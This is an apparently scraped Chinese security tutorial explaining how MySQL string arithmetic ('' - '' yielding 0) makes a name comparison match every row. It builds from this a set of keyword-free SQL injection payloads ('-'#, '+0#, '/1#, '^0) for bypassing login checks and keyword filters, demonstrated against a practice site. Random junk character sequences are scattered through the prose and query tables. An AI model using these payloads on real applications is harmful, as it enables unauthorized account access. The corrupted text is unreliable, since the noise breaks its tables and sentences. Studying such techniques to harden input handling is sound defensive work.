使用MySQL字符串运算实施精巧化SQL注入攻击

admin

我们先来看这样一个场景。 8 D4 _; _; B9 M有以下表结构： mysql> desc admin; , S# U9 X) J$ c+----------+--------------+------+-----+---------+----------------+ ; m& f5 O' t  v| Field    | Type         | Null | Key | Default | Extra          | +----------+--------------+------+-----+---------+----------------+ + o& o, x8 r; _6 V% r2 U| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment | # ]  U& ~1 s! p. y| name     | char(32)     | NO   | UNI | NULL    |                | ' J3 B7 k5 d9 r  |7 [| password | char(32)     | NO   | UNI | NULL    |                | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;，成功返回所有记录内容。 ( H, s' h$ a6 P7 j/ {* L . L5 q% Y5 D8 \; K3 i6 Q9 c. ^+----+--------+----------------------------------+ | id | name   | password                         | +----+--------+----------------------------------+ |  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 | |  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | |  4 | n00b   | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ + l& A. G5 x( A4 V+ b6 j  s* t3 rows in set (0.00 sec) 执行select * from admin where name=”;，没有匹配到任何记录。   D! d8 d+ F* p8 _& h mysql> select * from admin where name = ''; 7 ~1 b3 Y$ `6 o) R" }$ S/ UEmpty set (0.00 sec) 那么我们来执行select * from admin where name = ”-”; +----+--------+----------------------------------+ | id | name   | password                         | +----+--------+----------------------------------+ ! I8 n9 V# b( `% K: k7 k5 i|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 | 5 E* d/ H1 B3 _4 B+ W( b; W, J|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | |  4 | n00b   | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 2 F2 |' D$ k/ g3 v) e3 rows in set, 3 warnings (0.00 sec) 可以看到，也成功返回了所有记录，但是有三个warnings，我们看下警告信息： mysql> show warnings; , W  o" R& z" y3 ~( U+ ?( J- g+---------+------+------------------------------------------ | Level   | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin 3 \! l) s7 N. e0 G0 d$ M| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b +---------+------+------------------------------------------ 6 H, a  V* Y. t3 rows in set (0.00 sec) 提示截断了错误的DOUBLE值’admin等等，当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 2 D+ v8 m4 W6 [' Pmysql> select ''-''; +-------+ # o% c, \8 l; || ''-'' | # I. w  {2 V* a0 E9 H- C; j6 B+-------+ |     0 | +-------+ , n( v" c  `3 V1 l4 P+ X1 row in set (0.00 sec) 返回0，也就是说我们查询的每一行的name子段都会和0做对比，这样就会触发一个类型转换，对name字段转换的结果也必然为0： mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ - j! R  ]5 q4 N| CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+ 1 Z$ y5 m& V: M+ F+ H|                                                   0 | +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件，where 0=”=”，记录被返回。 SQL注入场景: http://www.sqlzoo.net/hack/ 2 v6 i4 F( [2 l& U) e$ N   a" q. j' V  X* X6 D3 I8 r' f ; [) J- ~' f4 @7 O" c0 @如果我们想绕过登录验证，上面已经给出了一个传统的tips：用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见，这里不再具体解释了。 $ ?* I+ _' U% J1 w那么通过这次发现的技巧，可以使用一种相当精巧的方式，且避免使用SQL关键字，来绕过登录。 " V+ L% N+ P' Y+ e0 y0 ?2 O) J # B& d: E% L- s) o 仅仅在name子段输入’-”#，password留空，即可绕过登录验证。 9 w2 K$ X; Z; q/ L" A! a) j1 L    1 C4 [; \. \! C2 X0 |! O除了”-”，其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试，我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可   b* `  p9 Z: Z  I* ^' ] # {, q& k2 _) Z6 N; M# D ; H  U; O9 e8 I4 H6 N0 t. y! q  ]mysql> select ''/1; +------+ 8 Y( r9 r0 Q# m0 q, {| ''/1 | +------+ ! v: K) ^7 a2 W  w! P) P|    0 | +------+ 1 row in set (0.00 sec) 4 @1 {# f: B% r4 m  B类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证： ‘+0#，’/1#，’^0，’-0#等等。   ! A* ^! i' E7 }: n" p % @) D7 ]" ~! j) u利用这样一种特性，当目标对注入语句中的SQL关键字进行过滤时，便可通过这样一种方式进行Bypass。